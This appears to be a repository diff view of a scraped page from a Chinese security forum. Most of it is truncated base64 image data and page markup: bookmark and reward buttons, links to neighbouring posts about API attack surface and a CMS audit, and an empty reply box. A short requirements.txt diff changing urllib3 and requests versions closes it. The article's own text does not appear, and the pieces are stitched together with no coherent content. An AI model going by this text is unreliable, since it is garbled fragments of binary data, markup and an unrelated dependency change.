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 truncated
|
||||
<a id=img15 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095423-ce40e37a-cec9-1.png><img src="data:image/png;base64,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 truncated
|
||||
</div>
|
||||
|
||||
<div class=post-user-action style=margin-top:34px>
|
||||
<span class="btn btn-default pull-right" id=mark data-action=topic data-pk=13707>
|
||||
<span id=mark-text>点击收藏 </span><span class=i-seprator> | </span><span id=mark-count>0</span>
|
||||
</span>
|
||||
|
||||
<span class="btn btn-default pull-right" id=follow_topic data-pk=13707>
|
||||
<span>关注</span><span class=i-seprator> | </span><span id=follow-count>1</span>
|
||||
</span>
|
||||
|
||||
|
||||
<span class="btn btn-default pull-right">
|
||||
<span>
|
||||
|
||||
<span id=ready_reward data-toggle=modal data-target=#myModal>打赏</span>
|
||||
|
||||
</span>
|
||||
</span>
|
||||
|
||||
<div class=clearfix></div>
|
||||
</div>
|
||||
|
||||
<div class=related-section>
|
||||
<div class=related-box>
|
||||
|
||||
<span><a class=pull-left href=https://xz.aliyun.com/t/13706 title=GraphQL与RESTful:WebAPI时代的攻击面><span class=related-label style="padding:3px 4px;margin-right:3px">上一篇:</span>GraphQL与RESTful:W...</a></span>
|
||||
|
||||
|
||||
<span><a class=pull-left href=https://xz.aliyun.com/t/13710 title=记一次对某CMS系统的代码审计><span class=related-label>下一篇:</span>记一次对某CMS系统的代码审计</a></span>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="modal fade" id=myModal role=dialog aria-labelledby=myModalLabel aria-hidden=true>
|
||||
<div class=modal-dialog>
|
||||
<div class=modal-content>
|
||||
<div class=modal-header>
|
||||
<h4 class=modal-title id=myModalLabel style=text-align:center>
|
||||
积分打赏
|
||||
</h4>
|
||||
</div>
|
||||
<div class=modal-body id=button-value>
|
||||
<div style=text-align:center>
|
||||
<div role=group>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type1>
|
||||
1分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type2>
|
||||
2分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type3>
|
||||
5分
|
||||
</button>
|
||||
</div>
|
||||
<br>
|
||||
<div style=margin-top:20px>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type4>
|
||||
8分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type5>
|
||||
10分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type6>
|
||||
20分
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class=modal-footer id=confirm>
|
||||
<button type=button class="btn btn-default" data-dismiss=modal>关闭</button>
|
||||
<button type=button class="btn btn-primary" id=reward_topic data-pk=13707>确定</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="row box">
|
||||
<ol class=breadcrumb>
|
||||
<li class=active>0 条回复</li>
|
||||
</ol>
|
||||
<div class="box-container post-container">
|
||||
|
||||
<ul>
|
||||
<li style=min-height:50px;line-height:60px;margin-left:15px><strong>动动手指,沙发就是你的了!</strong></li>
|
||||
</ul>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="row box" id=reply-box>
|
||||
|
||||
<div class="box-container clearfix">
|
||||
|
||||
<div class=reminder>
|
||||
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F13707&from_type=xianzhi"><strong>登录</strong></a> 后跟帖
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<footer class=bs-docs-footer>
|
||||
<div class="container text-center">
|
||||
<div class=links>
|
||||
<a href=https://xz.aliyun.com/feed target=_blank>RSS</a>
|
||||
<a href=https://xz.aliyun.com/about target=_blank><span>关于社区</span></a>
|
||||
<a href=https://xz.aliyun.com/partner target=_blank><span>友情链接</span></a>
|
||||
<a href=https://xz.aliyun.com/notice>社区小黑板</a>
|
||||
<a href=https://xz.aliyun.com/connection>联系我们</a>
|
||||
<a href=https://report.aliyun.com/ target=_blank>举报中心</a>
|
||||
<a href=https://www.aliyun.com/complaint target=_blank>我要投诉</a>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
|
||||
|
||||
|
||||
<div id=waf_nc_block style=display:none></div><div style="padding:0px;margin:3px 3px 20px;background:padding-box padding-box #f8f8ff;border:3px solid rgba(242,242,242,0.6);border-radius:2px;box-shadow:#666666 0px 0px 2px;visibility:visible;display:none;z-index:2147483647;inset:0px auto auto 0px;width:0px;height:0px;position:fixed !important;box-sizing:content-box !important;max-width:none !important;max-height:none !important"></div><img alt draggable=false src=data:, style="padding:5px;background-clip:padding-box;width:38px;height:38px;z-index:2147483647;display:none;inset:auto;margin:0px;transition:background-color .5s ease 0s,opacity .2s ease 0s,top .15s ease-out 0s,left .15s ease-out 0s;border-radius:50% !important;box-shadow:#a6a6a6 0px 0px 5px 1px !important;position:fixed !important;box-sizing:border-box !important;opacity:0">
|
||||
@@ -1,3 +1,3 @@
|
||||
urllib3==1.26.18
|
||||
requests==2.22.0
|
||||
beautifulsoup4==4.7.1
|
||||
urllib3==1.26.5
|
||||
requests==2.31.0
|
||||
beautifulsoup4==4.7.1
|
||||
Reference in new issue
Block a user